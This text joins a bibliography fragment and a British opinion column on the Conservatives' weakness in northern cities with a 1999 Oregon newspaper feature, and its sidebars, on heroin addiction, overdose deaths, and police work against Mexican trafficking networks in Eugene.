. Syracuse University Press, ISBN 0-8156-0528-5 Anderson, Bonnie S. (2017) The Rabbi's Atheist Daughter: Ernestine Rose, International Feminist Pioneer. Oxford University Press, ISBN 978-0-19-975624-7
Quite what Lord Howell meant when he called the North – or at least the eastern half of it – “desolate”, we can’t be altogether sure. But if he’d been referring to a land largely denuded of Tory representation many would have agreed with him.
Yet there are, lest we forget, Conservative MPs who win seats there – some of them very big beasts indeed, William Hague and George Osborne being the stand-out examples. Their presence, and the characteristics of their constituencies, highlight the fact that the primary problem for the Tories in the north isn’t so much one of longitude and latitude as a failure to persuade people who live in its urban conurbations to even consider voting Conservative.
The party suffers from an even more severe “neighbourhood effect” in the north than Labour does in the south. In other words, even those people whose lifestyle, education and income would, if they lived south of London (or even Birmingham), very likely see them voting Conservative are much less likely to do so if they live instead in, say, Manchester, Leeds, Sheffield or Liverpool.
The problem is just as bad in local as it is in parliamentary elections. It also affects not only people’s propensity to vote Tory but their enthusiasm (or, more accurately, their lack of enthusiasm) for joining the party at the grassroots – one reason why the Conservative Party on the ground is, in large parts of the urban north, utterly moribund.
So what’s the solution? Some would say there isn’t one. Just as some businesses have to admit they’ve been beaten out of a particular market or are simply unable, despite their best efforts, to enter it, perhaps the Conservatives should just cut their losses, forget all about what looks like a fool’s errand, and concentrate instead on sweating their considerable electoral assets in the South?
That may be tempting but it would be a bad idea, and not just because it would undermine the party’s claim to represent the whole of the country. For one thing, what happened to the party in Scotland should serve as a dire warning to those who think that, even if things are unlikely to get better for the Tories in the north, they probably can’t get any worse. Well, they can and they will – unless something is done and done soon.
Although Labour’s difficulties in the South are serious, it can nevertheless win elections – as it showed in 2005 – without picking up many seats in the home and coastal counties of the South-East, primarily because there are plenty of Midlands marginals and because it has a lock on large parts of London. The Conservatives, on the other hand, are going to find it very difficult to win a convincing (or at least comfortable) overall majority unless they up their game (and their gains) in the north.
The problem is that doing something about all this requires a long-term perspective from a bunch of people with short attention spans and even shorter time-horizons. Unless the party realises it will take as long to unwind what’s happened as it did to create the mess in the first place, then all the initiatives it tries – and there have been many over the years – will come to naught.
Of the recent suggestions on how to improve matters, there are at least a couple which may actually make a difference. One is George Osborne’s attempt to show he cares by talking about improving transport links: easy to sneer at but I suspect it stands at least a chance of beginning to thaw attitudes – as long, that is, as he eventually puts his money where his mouth is.
The other is more daring but is, I think, a nettle that simply has to be grasped. The party should embrace electoral reform – at least for local elections. People aren’t stupid. They understand that right now a vote for the Tories in many areas is a complete waste of time, so they simply don’t bother. Give them at least a slither of hope by introducing, say, the Single Transferable Vote, and they may gradually begin to feel they can make a difference.
Once Tories can get elected in northern cities at a local level, then it raises the possibility that they can get elected to parliament too – even if only in the more affluent, suburban constituencies they used to represent.
All this will be a long, thankless, but hopefully not fruitless, task. Better start sooner rather than later – because later may be too late.
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Newshawk: Regulate Marijuana Like Alcohol
Votes: 0
Pubdate: Sat, 04 Dec 1999
Source: Register-Guard, The (OR)
Copyright: 1999 The Register-Guard
Contact:
Address: PO Box 10188, Eugene, OR 97440-2188
Website: http://www.registerguard.com/
Author: Eric Mortenso
Note: This is a two part series, posted in two parts, published on Sat. and
Sun. and includes three sidebar articles, below, titled: ADDICTS 'LIVE' ON
EDGE OF DEATH'S DOOR, POLICE WAGE UPHILL BATTLE IN DRUG WAR, and HEROIN FACTS IN HEROIN'S GRIP
A FLOOD UPON THE LAND
Heroin's Escalating Toll On The Community Measured In Death, Crime And Younger Users
Sitting in the driver's seat of his white Dodge van, nosed in next to a chain-link fence and with a view of a weed-choked lot out the windshield, Jack Edward Harrison is getting well.
The fix is a dark, sticky chunk that smells like vinegar and looks as if it was cut off a Tootsie Roll. It's about as big as the tip of his little finger and it cost him $25.
He puts the chunk into his cooker, the sawed-off bottom of a beer can. With practiced hands, he draws water into a syringe and squirts it on the chunk, then flicks a lighter and waves the flame under the cooker.
A delivery truck idles nearby, its diesel rattling. Across the way, the noon traffic on Highway 99 glides by, people heading to wherever their lives take them. Harrison was one of them once. With a job. With a family. With a house.
With a life.
The chunk melts and bubbles, forming a glistening, dark brown puddle. Harrison draws the liquid into the syringe through a wad of cotton, hoping to strain out the worst of whatever it's been cut with. Sometimes the dealers increase the volume of what they have to sell by mixing it with starch or cocoa. Sometimes they use shoe polish or lye.
Harrison holds the syringe with the needle pointing up. He gently presses the plunger and taps the tube, like a nurse does - wouldn't want to inject an air bubble. He pushes up the right sleeve of his worn leather jacket. His tattooed forearm is swollen, scabbed and discolored.
A fly lands on the middle knuckle of his left hand as Harrison slips the thin needle into the top of his forearm, guiding it by sense of feel.
"I don't ever push it in real quick because it burns," he says. "My veins are so ate up from slammin'."
In a minute, he's done. Twenty-five dollars' worth of black tar heroin is on its way, making him well. He daubs the spot with DMSO solution to speed it into his bloodstream.
Heroin is a flood upon the land, a rising tide of black water that is sweeping away the Jack Harrisons of the world.
But the flood knows no bounds. Heroin isn't used just by hard junkies shooting up in dirty vans, but increasingly by clean-cut Eugene teen-agers who smoke it in their upper-middle class bedrooms while their mothers, as the parent of one overdose victim put it, are baking cookies in the kitchen.
It's a powerful, addictive force that lures users with its intensely pleasurable rush and then snares their bodies and souls, leaving jails, morgues, hospital emergency rooms and methadone clinics awash with human wreckage.
The toll in Lane County is immense, measured by crime, disease and a staggering jump in the number of overdose deaths.
Heroin's toll also is measured by the ruination it has visited upon Eugene's Whiteaker neighborhood, where knots of dealers operate openly. Scobert Gardens has become a dirty place where addicts shoot up, toss their needles in the bushes and nod off.
The flood has stained an entire people. Because the drug comes from Mexico and the most visible dealers are often immigrants, law-abiding members of the Eugene-Springfield Latino community find themselves viewed with suspicion or even hit up for drugs.
That is the degradation that rides shotgun in Jack Harrison's van as he cusses the size and price of the fix he just injected and the Mexican dealer who sold it to him.
"It's not going to be that good because it's too small of a chunk for me," he says. "This here will just knock the edge off."
Harrison says he's been on a waiting list for a methadone program since January. In three days, he finally has an appointment at one of the two methadone clinics in Eugene that treat heroin addicts. But he has to stay well until then.
He has to.
Because you don't know what it's like to be dope sick and to go through heroin withdrawal. You don't know what it's like when the craving wakes and crawls up your spine. You don't know the cramps, heaves, runs and aches. Like the worst flu you've ever had, times 10.
He has to stay well.
Jack Harrison isn't anybody's poster boy for pity. He says he's used drugs since he was 14, and at 41 he has the quick, edgy manner of a guy working all the angles.
He has a record as long as his discolored arm. Four past drug charges and two convictions in Lane County alone, plus a theft charge and several traffic cases. Warrants waiting for him out of Coos County on five more drug charges. And that doesn't count charges in his native California, where he's wanted for violating parole.
But he says he wants to kick. This time for sure. He says he's sick of this life, scrambling every day for money to hold off the craving.
He starts the van. In the back is a sleeping bag, a loaf of bread, a bag of cookies, a pile of clothes, a folding chair and a television set. That's all he has now, that and the craving wrapped around his spine, sleeping now.
Heroin took everything else.
It took his self-respect long ago. Now it just takes his money.
Someday it may take his life.
Harrison guns the engine and merges with the traffic slipping north on 99. He guesses he'll have to fix again about 4 p.m.
Four hours to find some more.
Record Overdoses
Heroin killed more people in Lane County last year than bullets did. Thirty-three people died of overdoses, which was not simply a record but was eight times more than the county saw a decade ago.
The county is on pace to break the record again this year. Fifteen people overdosed and died in the first three months of 1999, and 29 by the end of September. Since the first of July, addicts have been dying at a rate of about one a week.
For those who want to kick the habit, there isn't much help.
Jack Harrison, for instance, had just begun his methadone treatment program this summer when he was arrested on the Coos County warrants. He pleaded guilty to four of the drug charges and is serving a sentence that will end Jan. 12. After that, he'll still face the California parole violation charge.
In the meantime, he hasn't received methadone in jail, Coos County officials said.
The two methadone clinics in Eugene treat nearly 300 addicts between them and have waiting lists three months long. One doctor estimates there are 1,000 more local addicts who could use the treatment. An undercover narcotics officer says that estimate is low.
One Eugene woman gave her 45-year-old son money to buy heroin while he was waiting this summer to get into a methadone program. "I didn't know what else to do," she says. "Are you going to let your kid go out there and hold somebody up to get the darn stuff?"
Bob Richards, who directs the Buckley House detoxification center in Eugene, says he could fill each of his 14 beds with a heroin addict going through withdrawals, but saves some beds for alcoholics. In the past four years, he's seen a 300 percent increase in the number of heroin addicts asking to check in.
The stereotypical image of burned-out heroin junkies still prevails in Lane County, but it's changing. In a bewildering development, drug counselors say increasing numbers of Eugene-Springfield teen-agers are smoking black tar heroin in the mistaken belief that they won't become addicted.
"I figured, you know, at least I'm not shooting up," says B.L., an 18-year-old boy who is trying to quit.
His 18-year-old girlfriend, Rebeca, says she began to feel dope sick - the onset of withdrawal - within 10 minutes of waking up each morning. Before checking herself into a detox center this fall, she was smoking a half-gram per day, ordering it every morning by calling her dealer and punching in the code he assigned her. He delivered by car.
Like many of the heroin users and former addicts interviewed for this story, Rebeca asked that she be identified only by her first name. Others are identified by their initials.
Rebeca says heroin's reputation as a killer is part of its attraction to young people. In addition, the emaciated "heroin chic" look of models caught her eye, and movies such as "Trainspotting" made heroin use look like a good time, she says.
"Because you're told it's the worst you can do," she says. "It sparks your interest."
"Madison Avenue hasn't done us any favors," Richards says.
Crime And Disease
Nor have the Mexican criminal organizations that now control the supply of heroin west of the Mississippi.
Their hold in Oregon is such that heroin in Eugene-Springfield costs half as much as it does in Houston, a much bigger city and much closer to the Mexican border. The local price is $50 a gram, while it sells for $100 to $120 per gram in the South and Midwest, according to the federal Drug Enforcement Administration.
Wander down to Whiteaker, and you can get high on a half-gram for $25; less if you have the right connections.
Steve Lowry, the DEA's supervisory agent in Eugene, estimates that there's more heroin per capita here than in Portland.
"Even though it's a small community, we think it's a major market," Lowry says. "The prices are so low here compared to elsewhere that it has to be a major distribution area."
Nationally, heroin prices in 19 major U.S. cities dropped by an average of 50 percent between 1988 and 1995, according to a study published last spring by the American Journal of Public Health.
Eugene police say nearly every one of the prostitutes trolling west Sixth and Seventh avenues is a heroin addict. Sgt. Dennis Baker, supervisor of the department's property crime detectives, says 85 percent of the city's burglary and theft cases involve drugs, and heroin is the drug of choice in half of those.
Springfield police Detective John Umenhofer speculates that heroin addicts pull off 60 percent to 70 percent of bank robberies. FBI agent Phil Donegan tells of a Eugene drug addict and dealer who robbed banks and encouraged some of his customers to do the same so they'd have money to buy dope from him.
Between them, the group probably accounted for 20 to 30 bank robberies, Donegan says.
Eugene and Springfield aren't alone in this, of course. Statewide, heroin deaths jumped to a record 179 in 1998 and are headed for another record this year. In June 1998, a young couple frantic about their addiction hanged themselves from Portland's Steel Bridge in a gruesome public display of heroin's power.
The human cost is staggering. In addition to the deaths, heroin mows down users with a variety of health problems. Because many addicts shoot up, they are susceptible to skin lesions and abscesses from dirty needles or contaminated drugs.
Admissions and emergency room visits at Sacred Heart Medical Center illustrate the problem. In 1998, opiate overdose or abuse was listed as the principal diagnosis in 133 cases and as the secondary diagnosis in 303 more, according to hospital records. The type of opiate involved isn't detailed in the records, but hospital spokesman Dan Steinberg says 80 percent to 95 percent of the cases involve heroin.
Through July 1999, opiate overdose or abuse was listed as the principal diagnosis in 77 cases and the secondary diagnosis in 198 more, easily outpacing any other drug.
Drug counselors estimate that 80 percent to 90 percent of longtime needle users have hepatitis C, which can lead to liver cancer. Users who share needles are risking infection with HIV, the virus that causes AIDS.
Latino Community Harmed
The social infection, especially to Eugene-Springfield's Latino community, is equally damaging. Because the heroin supply is controlled by Mexican groups and the most visible street dealers are Latino, the entire community suffers, observers say.
Joe Shaffer, chief of investigations for the U.S. Immigration and Naturalization Service in Portland, says narcotics were involved in two-thirds of 2,100 arrests of "criminal aliens" that the agency made in Oregon in 1998-99. Those arrested included people from Cuba, Bosnia, Vietnam and Armenia, but 85 percent were from Mexico, Shaffer says.
"I know a lot of people like to make a racial issue out of this, but it's not," he says. "I don't care if you come from the moon: If you deal drugs in the United States, you should be removed.
"We know the backbone of agri-business in the state of Oregon is people from Mexico. But the fact remains that - like any other immigrant group that's come to the United States - there's a criminal element there that thought this was an easy way to make money."
But pointing out the facts of who controls the flow of drugs brings instant criticism from some community activists.
"There is an element in the city of Eugene that doesn't want the truth, plainly spoken," says Dennis Adams, whose back yard abuts the notorious Scobert Gardens, where junkies and dealers often gather.
But many in the community do acknowledge the problem. Centro LatinoAmericano, the social service and advocacy agency in the heart of Whiteaker, hosts the monthly meetings of a Lane County heroin task force that is planning a drug education campaign.
Individuals are doing their part, as well. From his modest, wood-paneled office in an old house across Adams Street from the Red Apple market, Pastor Luis Vergara of Centro de Fe ministries has seen more than his share of heroin deals.
Sometimes the dealers lean against the picket fence in front of his office. He asks them to move on. He asks them, especially the young Latino men, to stop selling drugs.
"Hey, guys, please, it doesn't look good in the community," he tells them. "You're giving us a bad rap. We can work for a living, we're known for that."
Not once has he had a problem with them. He says they go away peacefully because they're embarrassed. He's a minister, and they're ashamed of what they do.
But a lot of them don't have a green card, the documentation that allows them to work legally in the United States. For them, selling "chiva," as heroin is known on the street, is fast, easy money - up to $150 to $250 a day - and they need it.
Still, it hurts the Latino community, Vergara says. It paints everyone with the same brush.
"I get hit up a lot of times, `Do you got chiva? Are you a dealer?' " he says. "I tell them I'm a minister, I preach the gospel, I'm not into that.
"At first it was insulting; now I'm used to it. My parishioners also get hit up. We're used to it."
He acknowledges that the stereotype has roots in the truth. Most of the people selling drugs in the Whiteaker neighborhood are Latino, he says.
But the other side of the coin is this: 90 percent of the people buying drugs are Anglo. Observation and anecdotal evidence from police back him up on both counts. If there weren't a market, there wouldn't be drug sellers on the streets, he says.
"One of the things we see here is, people think it's a Mexican problem with drugs, but it's everybody's problem," Vergara says.
[First Sidebar]
ADDICTS 'LIVE' ON EDGE OF DEATH'S DOOR
By Eric Mortenson
Neither the fear of dying, nor a family's love, are able to stem the tragic fate of a rising number of users
A MAN who was looking for arrowheads found Marty Ray Knox instead. It was New Year's Day, and Knox was lying face down with his legs curled under him, as if he'd slumped over from a sitting or kneeling position.
He'd been lying in the brush off a Weyerhaeuser logging road in Springfield for at least a month, and his features were severely contorted from decomposition.
When police turned him over, they saw that his right shirt sleeve was rolled up to his elbow. In his right hand, he still clutched a belt that he'd cinched around his arm to make a vein stand out.
Marty Ray Knox was 35. He'd lost his hold on everything else, but he and the heroin he pumped into his arm held each other in a death grip.
Later, his relatives told police that Knox had said he would use heroin if he ever decided to kill himself. He told people he would just go to sleep and never wake up.
At the end, that's what happened. He went to sleep and became a statistic: They counted him as Lane County's first heroin overdose death of 1999.
Heroin users have been falling at a record pace ever since. Most of them used heroin in combination with other drugs or with large amounts of alcohol. They are counted as heroin overdoses because the other substances wouldn't have killed them, Chief Deputy Medical Examiner Frank Ratti said. Heroin put them over the threshold of death, Ratti said.
Medics See Dozens Of ODs
When injected, heroin crosses the blood-brain barrier in about 10 seconds and brings addicts the warm sense of well-being and pain relief that they crave.
"The first time I got high, I felt like I'd been kissed by God," a former addict says.
But it's deadly if they use too much of it, or if they use heroin more pure than what they're accustomed to. They nod off as the sedative effect takes hold and breathing slows. Large doses of the drug can paralyze the respiratory drive.
If no one is around who is willing or able to perform CPR or even call for an ambulance, death is likely.
In fact, Lane County's record number of heroin deaths could have been much higher. Eugene Fire Department medics alone administered Narcan, a drug that instantly revives overdose victims, more than 200 times in 1997 and 1998.
"When we save a heroin OD's life, they get upset with us because we ruined their high," fire Capt. Greg White said.
Firefighters say their work is hampered by street myths. Some people believe they can revive overdose victims by putting ice on them, much as people splash cold water on their faces to refresh themselves. In one case, Eugene medics found an OD victim covered with frozen steaks.
"If they OD, you need to get 911 on the line and get us moving," said White, who for many years worked at the department's old Station 2 in Eugene's Whiteaker area.
Leaving In A Panic
Heroin addiction is a dirty affair, and the degradation associated with overdose deaths cannot be overstated.
If a bad car wreck happens in front of witnesses, people tend to stick around and try to help out. Not so with heroin. In several cases this year, companions of overdose victims have cut and run.
Kenneth Lee Claasen, 53, did just that on Aug. 4, when he woke in a van parked next to Tiny Tavern in Whiteaker and realized that the man he'd injected heroin with the night before was dead in the back of the van.
"I didn't want to deal with the law - it was panic, you know," Claasen said in an interview at the Lane County Jail. "It was crazy."
It got crazier. Claasen started the van, drove to Delta Ponds near Goodpasture Island Road and left his friend lying on the bank.
"I put the mattress down that he died on and covered him with a blanket," Claasen said.
Afterward, Claasen arranged for a friend to anonymously call police and tell them where the body was. The plan backfired, however, and Claasen was charged with second-degree abuse of a corpse, along with a probation violation.
The man who overdosed, James Robert Chandler, 40, was from Springfield. Claasen hadn't known him long, just a few days. According to Claasen, they'd split a half-gram of heroin the night before and shot up in the van.
"I got up in the morning, and he was dead," Claasen said. "I couldn't believe it; there was no indication he was going to die, or I would have done something.
"Evidently, I wasn't thinking right or I would have called 911."
Claasen said he's seen a number of overdoses before and has seen people revived by splashing cold water on them or putting ice down their pants. He said he once woke up in a hospital bed after having been revived from an overdose.
He believes Chandler was using prescription medicine, and the combination with heroin killed him. Toxicology results showed Chandler had a large amount of heroin in his system and an unspecified amount of a medication. Ratti, the deputy medical examiner, said the prescription medicine probably wasn't a factor in the overdose.
For his part, Claasen went through two weeks of painful withdrawals while in jail and said in an interview this summer that he's ready to quit heroin for good.
Claasen doesn't pretend to be innocent. He has a long record of drug charges and other crimes and said he used methamphetamine for many years. He said he switched to heroin because he wanted to see what it was like to be strung out. He found out he liked heroin.
"It lets you do it day after day until you get strung out, and then your body tells you that you've got to have it," he said.
The going up isn't worth the coming down, Claasen said.
"It's not a funny thing," he said. "This is nothing but a death, a slow death."
The Deaths Rise
And when death visits, junkies scatter. This past February, police and medics responding to an anonymous 911 call found 29-year-old Mathew Scott Gripp dead in his apartment at 15th and Alder in Eugene. Gripp's phone was off the hook and his hair and pants were wet, as if someone had tried to revive him by splashing water on him.
In Gripp's wallet was a business card indicating that he'd once been enrolled in a drug treatment program. Police also found receipts from a pawn shop, indicating that he'd consigned a Black & Decker drill, a portable CD player and nine CDs within the previous two months.
When Karen G. Crandall died at a residence in the Veneta area in February, a friend packed her body into the passenger seat of his Chevy Blazer and drove her to his house before calling medics. Crandall was 46. Toxicology tests showed she had heroin, methamphetamine and Valium in her system, plus a blood-alcohol level of .21 percent.
Gerald Arnold Hanlon's fate was just as bleak. After he died of an overdose in a room at the Parkway Inn on Seventh Avenue last January, the man and woman he'd been partying with dragged him outside and left him lying in an alley in the rain.
Luckily, someone saw them and called Eugene police. A police dog tracked the dragged scent back to Room 109 and officers found the pair inside. They said Hanlon had announced that he'd scored some heroin, gone into the bathroom and shot up, according to a police report.
When he came out, he sat in a chair and fell asleep, they said. An hour later, they noticed he was unresponsive. Four to five hours after that, about 5 a.m., they decided to drag him outside.
The pair explained that they didn't call for an ambulance or police because they had "freaked out." Also, the man had a warrant out for his arrest on a drug possession charge.
Families' Sorrow
Hanlon was 33 and had been in and out of jail since he was 18. But he was working at an RV manufacturing plant and his family thought he'd quit using heroin, said his sister, Karla Hanlon of Westfir.
"What gets me is, if I dump my dog in the street, they can fine me for doing that," she said. "But there's no crime committed here; them dumping his body in the street is not a crime."
It's unclear from police reports why charges weren't pursued in Crandall's and Hanlon's deaths.
"I think it's just tragic this stuff happens and nobody cares," Karla Hanlon said. "This is somebody's son, brother and uncle - this is somebody. This was somebody's baby at some point."
Joyce Buchanan of Akron, Ohio, could testify to that. Her 40-year-old son, Xentri J. Coltan, died in Eugene on Jan. 11.
Born Jack Smarr - he'd legally changed his name for some reason - he'd roamed the West for several years, camping and taking advantage of homeless services in various towns. He'd served in the Air Force, been married, gotten divorced and at one time had a job with a company that installed medical scanning machines.
But he'd given it up, telling his mother that he enjoyed living on the edge and not knowing what was going to happen from one day to the next.
She worried about him because he drank heavily, and he wasn't a friendly drunk. "I honestly thought he would die in a barroom fight or something like that," Buchanan said.
He called her a couple of times a year, around Christmas for sure and each January on her birthday. She sent him money, telling him she would help him as long as he wasn't abusing drugs or drinking.
In his last phone call home he said, "I'll call you on your birthday, Mom."
On Jan. 11, Coltan hooked up with some friends, announced he wanted to buy some heroin to party with and cashed a $1,000 check from his mother. They rented a room at the Budget Lodge on Highway 99.
Coltan went into the bathroom, came out five minutes later and fell flat on his face, bloodying his nose. His companions rolled him onto his side, then noticed a few minutes later that Coltan had quit breathing. They splashed cold water on him and tried CPR before calling 911, according to a police report.
The medics couldn't revive him. Officers found $511 in his pants pocket; the last of the money his mom had sent him.
"It's a waste of a very good life," his mother said. "It's hard to understand the choices he made."
She sent a memorial plaque to the St. Vincent de Paul's Eugene Service Station on Highway 99, where her son had hung out, picked up odd jobs and found a place to wash his clothes and snag a meal. The plaque, with a picture of the two of them, hangs on the agency's wall.
"He always said he never found his niche in life," Buchanan said. "The ironic thing is, we had him cremated and sent back here to a mausoleum, and where he was placed is called a niche.
"I guess he found a niche."
[Second Sidebar]
POLICE WAGE UPHILL BATTLE IN DRUG WAR
By Eric Mortenson
Supply And Demand In Lane County Keep Street Dealers In Business
THE GRASPING TENTACLES of international drug traffickers reach far, all the way from Mexico to Fifth Avenue in Eugene, where a man in a baggy sweatshirt swings his bicycle into a U-turn and makes his way back to a younger man lounging at a bus stop.
Eye contact, a barely perceptible nod. Now the man on the bicycle slows and coasts, the bike's hub clicking rhythmically. It's a sleepy midsummer afternoon in the Whiteaker neighborhood.
From the back of a nondescript van parked nearby, hidden by deeply tinted windows, undercover police officer Doug Mozan watches the encounter unfold. He speaks softly into a hand-held radio.
"I've got the eye," he says, telling the other team members in the area that he can see the undercover officer on the bike. Two patrol cars and three other plainclothes officers lurk nearby.
The bicyclist eases to a stop. The long dark hair streaming from beneath his cap is a wig. The baggy sweatshirt hides a 9 mm pistol stuffed down the back of his pants. The headset he's wearing looks like it's plugged into a Walkman, but instead is connected to a police radio.
As in most buys, the conversation is limited. "Chiva?" The rough Spanish translation is "nanny goat," but everyone on the street knows it means black tar heroin.
Then the price. A half-gram goes for as little as $25 in Eugene. The street dealers carry heroin in their mouths, tied into small balloons or in sandwich bags that have been cut at the corner and heat-sealed with a match.
The buyer indicates by size or dollar figure how much he wants, and the dealers fish out the appropriate-size bindle from between cheek and gum. They often have more stuffed into their underwear, or tucked deep between their buttocks.
If the cops jump them, they swallow the balloons and retrieve them later by hacking them up or waiting for a bowel movement. That is, if the balloons don't leak. Without medical treatment, chunks of heroin dissolving in the stomach would mean certain death.
The deal is done, and the undercover officer pedals away. When he's safely out of sight, the rest of the team springs into action.
A patrol car careens around a corner and screeches to a halt. A uniformed officer pops out and sprints to the dealer, grabbing his throat to keep him from swallowing the balloons.
He's quickly cuffed, searched and hustled off to jail.
Mozan spins the van around a couple of blocks and establishes the eye on another pair of dealers.
"Usually, it's pretty easy pickings," he says.
The trap is reset.
Another undercover officer, a woman this time, saunters down the sidewalk toward another pair of dealers. She wears a floppy hat, baggy clothing and shades. She approaches the men with a broad smile and a practiced line.
"My girlfriend says you've got chiva," she says.
"A dull roar" approach
But the men arrested today on felony charges of possession and delivery of a controlled substance are out of jail the next day, released to make room for more violent offenders. Mozan, in the van, points out a man strolling across the Red Apple market's parking lot. He was arrested the previous day for selling heroin.
"It's sort of maintenance down here," Mozan says. "We keep things at a dull roar."
That they do. In 1998, Eugene police made 475 arrests for heroin sales or possession, far more than for any other drug. Through July 1999, they'd made 254 heroin arrests, according to department records.
Many dealers were taken down by the department's Rapid Deployment Unit, which is assigned to chase after street crimes such as prostitution and drug sales.
"We try to manage it," says Sgt. Larry Blackwell, the unit's supervisor. "I don't think we'll ever end it."
And that's frankly because Oregon's criminal justice system is geared to dealing first with what are considered more serious crimes such as murder, rape, robbery and child abuse. In Lane County, minor drug cases are typically settled by negotiation, rolled up in plea agreements that allow a defendant to plead guilty to one charge while three others are dismissed, for example.
The practice simply reflects the reality of limited jail and prison beds and the need to devote resources to violent crime, says Steven Skelton, chief deputy in the Lane County district attorney's office.
"Right now, the criminal justice system has pretty much thrown up the white flag when it comes to drug cases," Skelton says.
There is little motivation to prosecute simple drug possession or dealing cases, he says. The standard sentence for possession of less than 5 grams of heroin, for example, is 30 days in the county jail. But the jail is so pressed for bed space that inmates serving drug sentences often are released after a couple of days.
"It's not a deterrent," Skelton says. "They don't believe they'll get caught. And if they do get caught, 30 days in jail with food and a warm bed is not too bad."
Police and prosecutors pursue cases against large-scale drug traffickers, Skelton says, but street-level dealers and users are low on the priority list. And in a liberal city such as Eugene, with its history of tolerating casual drug use, there is a sizable segment of the population that has no problem with that, he says.
Eugene police also acknowledge that the street dealers are the lowliest foot soldiers of the drug traffickers who keep Lane County supplied with heroin and who suck millions of dollars out of the area.
Mexican Connection
At the top are at least three Mexican organizations with links to international narcotics cartels, according to police and court records.
The Mexican groups have taken advantage of a shift in American drug tastes. Between 1985 and 1996, the number of cocaine users in the United States dropped by 70 percent, according to a report this year by the U.S. State Department's Bureau for International Narcotics and Law Enforcement Affairs.
The demand for heroin hasn't yet risen proportionally, but it's increasing rapidly and "is a warning sign we ignore at our peril," according to the report.
Mexican crime groups that previously distributed cocaine for Colombian cartels have already noticed, says Steve Lowry, supervisor of the federal Drug Enforcement Administration office in Eugene.
Those organizations have split off from the Colombians and now produce, smuggle and distribute methamphetamine and heroin on their own, Lowry says.
Mexico is the Western Hemisphere's second largest cultivator, behind Colombia, of the opium poppies used to make heroin. Mexico supplies most of the heroin flowing to states west of the Mississippi, according to the State Department report.
The largest local seizure that police recall was a pound and a half, although in September an arrested dealer seeking to strike a bargain with police said he could arrange a 4-kilo buy - nearly 9 pounds.
A pound of heroin is the equivalent of 448 grams; sold at a minimum local price of $50 a gram, it would be worth at least $22,400.
In Oregon, drug agents say heroin arrives in 25-gram "pieces," about the size of a golf ball. Heroin is hidden in wheel wells, door panels or elsewhere in the car bodies of a nearly constant stream of traffic headed up Interstate 5 and Highway 97, the prime north-south routes connecting Oregon to California and Mexico.
Brought into Oregon amid the stream of legal and illegal Mexican immigrants and migrant workers, heroin is typically divided up and sold by groups of relatives and friends, police say.
Much of the heroin trade in Eugene and Springfield, for example, is controlled by members of what police call the Davila crime family, an extended network of brothers, uncles, cousins and in-laws from the same village in Mexico.
Family members also operate in Salem and in Long Beach, Wash., according to a search warrant affidavit filed in August by Eugene police Detective Kevin McCormick of the Interagency Narcotics Enforcement Team, or INET.
Going After Big Dealers
It is to INET and the federal DEA agents in Eugene that the deeper digging falls. INET in particular is turning its resources to heroin cases after being tied up for years in a largely successful battle to knock out methamphetamine labs.
The secretive police squads have had some successes against heroin dealers, but they're up against clever, sophisticated crooks.
The language barrier hampers investigations from the start because few officers are fluent in Spanish and most are white. Dealers also protect themselves by obtaining multiple driver's licenses and identification cards in different names. They use numerous cars, switching registrations to throw cops off the track.
Midlevel dealers, a step up from the street sellers who plague Whiteaker, make deliveries by car, traveling from customer to customer. They use pagers and cellular phones; addicts who call the dealer's pager punch in an assigned code number to identify themselves. The dealer calls them back and names a meeting place, sometimes using code for that, too.
An 18-year-old Eugene girl who smoked a half-gram per day before quitting this fall says she and her dealer used a simple code in which "Meet me at the P," meant "park" and "S" meant "Safeway."
To protect their identities, dealers often have one of their addict customers purchase pager and cell phone services in exchange for money or heroin.
Dealers rent houses or apartments and then move out, allowing a friend or relative to use the residence. The arrangement makes it difficult for police to track who lives where and gives the group a variety of residences where they can hide drugs and conduct business.
Cash from drug sales is laundered by shipping it to Mexico by wire transfer, available for a no-questions-asked fee at businesses such as check cashing outlets. A "MoneyGram" form, in Spanish, offers al instante transfer of funds and immediata availability at the receiving end.
McCormick, the INET detective, speculates that heroin dealers earn "multiple millions" in Lane County alone.
Dealers wire money using different names or have other people do it for them. McCormick tells of a dealer who wired $9,000 to three different places in Mexico in one day, using a different name each time.
The practice allowed him to stay below the radar of currency reporting laws; people conducting transactions of $10,000 must fill out a government form.
Police Tricks Of The Trade
The machinations accomplish two things: They make it harder for police to trace the dealers, and they help dealers protect their assets from drug forfeiture laws. If a dealer is caught with drugs in a car registered to someone else, the registered owner can claim he didn't know about the drugs and maintain possession of the car for its real owner - the dealer.
But police have a few tricks of their own. In addition to wearing wigs and wires, they're not above putting dummy video cameras on utility poles to make street dealers and addicts think an area is under surveillance.
Meanwhile, officers hiding in ordinary-looking vehicles videotape and photograph dealers for real. Several years ago, police and a building owner cooperated to videotape dozens of heroin sales in the Whiteaker area by placing a camera in a window overlooking an alley.
Undercover officers making buys on the street have to dress the part of addicts, of course, but sometimes suspicious dealers want to see "tracks," the characteristic bruising of veins collapsed by needle use.
To accommodate them, officers rub a pencil eraser on their arms. Within a couple of days, they have realistic looking tracks from the bruising.
Police also make extensive use of informants, sometimes using the threat of prosecution to gain cooperation.
But heroin investigations aren't without danger. Earlier this summer, members of one of the Mexican organizations met in Salem and allegedly placed a $50,000 price on McCormick's head because he had arrested members in the past and disrupted their operations.
Police acknowledge that the threat could have been wild talk; McCormick declined to discuss it. But the department took it seriously enough to post a guard at McCormick's home and to issue a public description of a car the drug dealers were thought to be using.
So far, the Mexican organizations have avoided the turf wars that mark the drug trade in other cities. Police say they apparently tolerate each other in Eugene and Springfield because there is plenty of business to go around.
In September, even a recently arrived group of Honduran dealers was allowed to operate freely in an alley outside Hollywood Video on West Seventh Avenue.
"It's just a matter of time before people are killed around here, I think," says Blackwell of the Rapid Deployment Unit. "We're just a step behind the other communities."
[Third Sidebar]
HEROIN FACTS
The opium poppy, Papaver somniferum, is the only poppy species that produces opium. It is the source of all opiate drugs, including heroin, codeine and morphine. The name is a combination of Greek and Latin, and translates to "the poppy that induces sleep." Farmers collect opium by making a series of shallow cuts on the poppy seed pod, then scraping off the milky opium gum that seeps from the cuts. The gum turns from white to brown as it dries.
People have smoked opium for centuries. Morphine was isolated from opium in 1803, and heroin was synthesized from morphine in 1874. The Bayer Chemical Co. of Germany marketed heroin in 1898 as a cough suppressant and pain reliever. The name came from the German word "heroisch," meaning large, powerful or heroic.
Heroin was widely used in medicines by the late 19th century. An 1888 survey in Boston showed that of 10,000 pharmacy prescriptions, 78 percent contained opiates. Addiction had become such a problem in the United States by 1920 that the American Medical Association recommended prohibiting heroin's manufacture and sale. Heroin production was outlawed in 1924.
